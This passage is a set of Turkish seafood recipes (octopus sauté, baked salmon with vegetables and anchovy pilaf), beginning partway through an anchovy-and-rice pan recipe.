  5. Dizme işleminde aralarında açık olmaması için kenarlarından aynı yönde üst üste gelmesine dikkat edin.
  6. Tavanın kenar kısımlarında kuyrukları dışarda kalacak şekilde dizilerek tavanın tamamı hamsi ile kaplanmış oldu.
  7. Hazırladığınız karışımlı pilavın tamamı hamsinin içine dökün ve üzerini aynı şekilde dışı mısır unu ile unlanmış hamsi ile kaplayarak kapatın.
  8. Kızgın ateşte kızartılan hamsiler içinin pilavlı harcı dağıtılmadan çevirin ve diğer tarafı da kızartın.
  9. Çevrilme sırasında tavaya bir miktar kızartma yağı daha dökün. Nar gibi kızaran hamsilerin içindeki harçla birlikte dağıtılmadan servis edin. Afiyet olsun…

Ahtapot Sote Tarifi

MALZEMELER

  • 1 adet orta boy ahtapot
  • 5 adet domates
  • 5 adet yeşil biber
  • 6 diş sarımsak
  • Zeytinyağı
  • Himalaya tuzu
  • Pul biber veya karabiber
  • 1/2 çay bardağı sirke

HAZIRLANIŞI

  1. Ahtapotu yıkayın ve yarım çay bardağı sirke ile birlikte düdüklü tencereye koyun.
  2. Et konumuna getirerek yaklaşış 40 dakika pişirin.
  3. Piştikten sonra soğuk suyun altında güzelce temizleyin.
  4. Temizlediğiniz ahtapotları et sote büyüklüğünde doğrayın.
  5. Bir tencereye zeytinyağı, biberler ve sarımsak koyup hafifçe kavurun.
  6. Şimdi de tencereye ahtapotları, domatesi ve tuzu ekleyin.
  7. Domatesler suyunu çekene kadar pişirin.
  8. Ocaktan indirin arzu ederseniz karabiber ve pul biber ilave edin. Afiyet olsun…

Fırında Sebzeli Somon Balığı Tarifi

MALZEMELER

  • 2 kg somon balığı
  • 2 adet domates
  • 1 patates
  • 7-8 adet yeşil biber
  • 1 adet büyük boy soğan
  • 2 yemek kaşığı sıvı yağ
  • tuz

HAZIRLANIŞI

  1. Balıkları güzelce temizleyin dairesel şekilde kesin ve tepsiye dizin.
  2. Tepsideki balıkların üzerine bir tatlı kaşığı kadar tuz serpin.
  3. Soğanları halka halka kesin, patatesi yuvarlak şekilde doğrayın.
  4. Domates ve biberleri de kesin ve tüm malzemeleri tepsiye güzel bir şekilde dağıtın.
  5. Üzerine sıvı yağ gezdirin ve 160 derece fırında balıklar kızarana kadar pişirin.
  6. Dileğinize göre üstüne limon ve maydanoz koyarak servis edin. Afiyet olsun…

Hamsili Pilav Tarifi

MALZEMELER

  • 500-600 gr hamsi (kılçıklarından ayıklanmış)
  • 1 su bardağı pirinç
  • 1 kuru soğan
  • Çam fıstığı
  • Kuş üzümü
  • Karabiber
  • Tuz
  • Sıvıyağ
  • Maydanoz (İstenirse, ben kullanmadım)

HAZIRLANIŞI

  1. Hamsileri güzelce kılçıklarını da ayırarak temizleyin ve tuzlayın.
  2. Soğanı yemeklik şekilde doğrayarak fıstıklar ile birlikte kavurun.
  3. Pirinci güzelce yıkayın ve soğan fıstık karışımına ekleyip kavurun.
  4. En son kuş üzümünü de ekleyip 2 bardak da su ekleyip pişirin. Karabiber ve tuzunu da ekleyin.
  5. Pilavınızı dinlenmeye bırakın, dileğinize göre maydanoz ekleyip karıştırın.
  6. Fırın kabınızı güzelce yağlayın hamsilerin sırtı alta gelecek şekilde dizin.
  7. İçine pilavı koyup hamsilerin sarkan kısımlarını üste katlayın. Pilavın açıkta kalan kısımlarını hamsilerle kapatın.
  8. Üzerine birer parça tereyağı koyup 170 derece fırında 45 dakika kadar pişirin.
  9. Pilavınızın üst kısımları kabarmaya başladıysa olmuş demektir. Yanında yeşillikle güzel olur afiyet olsun.